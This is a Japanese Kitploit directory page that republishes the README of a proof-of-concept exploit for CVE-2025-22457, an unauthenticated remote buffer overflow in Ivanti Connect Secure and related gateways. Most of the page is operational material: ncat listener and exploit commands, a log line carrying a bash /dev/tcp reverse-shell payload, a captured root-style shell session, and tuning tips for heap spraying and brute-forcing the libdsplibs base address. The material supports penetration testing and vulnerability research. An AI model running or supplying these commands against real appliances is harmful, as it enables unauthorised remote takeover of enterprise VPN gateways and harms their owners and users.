Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-22457 — 概念実証 CVE-2025-22457 | Kitploit
ツール/GitHubGitHub/trone-ux/cve-2025-22457
エクスプロイトフレームワーク脆弱性分析エクスプロイトシェルコードウェブセキュリティネットワークセキュリティペネトレーションテストレッドチーミングリモートアクセスツールペイロード開発バイナリエクスプロイト
GitHub
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
trone-ux/cve-2025-22457

CVE-2025-22457

概念実証 CVE-2025-22457

リポジトリを見る

CVE-2025-22457 の PoC

Ivanti Connect Secure、Pulse Connect Secure、Ivanti Policy Secure、ZTA ゲートウェイに影響を与えるリモートの認証不要なスタックベースのバッファオーバーフロー

概要

これは CVE-2025-22457 の悪用を実証するための概念実証エクスプロイトです。脆弱性と悪用戦略の完全な技術分析については、以下の Rapid7 分析を参照してください:

https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis

使用方法

このスクリプトは、バージョン 22.7r2.4 の脆弱な Ivanti Connect Secure ターゲットに対して以下のように実行できます:

netcat リスナーを起動してリバースシェルを受け取ります。

root@kitploit:~
C:\>ncat -lnvkp 8080

エクスプロイトを実行し、ASLR をブルートフォースします (時間がかかります)。

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering..

成功すると、リバースシェルが取得できます。

root@kitploit:~
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$

デバッグ

Web 子プロセス

基盤となるハードウェアに応じて、対象アプライアンスで利用可能な CPU の数によって、/home/bin/web バイナリが生成する子プロセスの数が決まります。すべての受信 HTTPS リクエストはこれらの子プロセスに均等に分散されるため、これを考慮し、すべての子プロセスに対して十分な回数のヒープスプレーを実行する必要があります。脆弱性をトリガーするときに、どの子プロセスでトリガーされるかが分からないため、この操作が必要です。そのため、ヒープスプレーがすべての子プロセスに存在する必要があります。

  • 1 vCPU - 1 つの Web プロセス、子プロセスなし
  • 2 vCPU - 1 つの Web 親プロセス、2 つの子プロセス
  • 4 vCPU - 1 つの Web 親プロセス、4 つの子プロセス (これがデフォルトであり、Ivanti Connect Secure ISA4000-V プラットフォームに対応します)
  • 8 vCPU - 1 つの Web 親プロセス、8 つの子プロセス (これは Ivanti Connect Secure ISA6000-V プラットフォームに対応します)

例えば、root 化された脆弱なアプライアンスで、以下のコマンドを実行して /home/bin/web 子プロセスの数を確認します:

root@kitploit:~
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S   104  3012  2394  0  80   0 - 26313 -      ?        00:00:00 web
4 S   104  3013  2394  0  80   0 - 24931 -      ?        00:00:00 web80
1 S   104  4947  3012  2  80   0 - 28209 -      ?        00:01:27 web
1 S   104  5217  3012  1  80   0 - 31527 -      ?        00:00:49 web
1 S   104  5695  3012  0  80   0 - 28199 -      ?        00:00:00 web
1 S   104  5715  3012  0  80   0 - 28199 -      ?        00:00:00 web
bash-4.2#

予想される Web 子プロセスの数は、--web_children 引数で指定できます。例:

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4

libdsplibs ベースアドレス

ローカルシステムで PoC をテストする場合、libdsplibs ベースアドレスのブルートフォースを避けたいかもしれません。このシナリオでは、既知のベースアドレスを --libdsplibs 引数で PoC に渡すことができます。例えば、root 化された脆弱なアプライアンスで、以下を実行します:

root@kitploit:~
bash-4.2# ps -A| grep web
ps -A| grep web
 3200 ?        00:00:01 web80
20536 ?        00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879                             /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879                             /home/lib/libdsplibs.so
bash-4.2#

次に、以下のように既知のベースアドレスを PoC に渡します:

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering...
ツールをダウンロード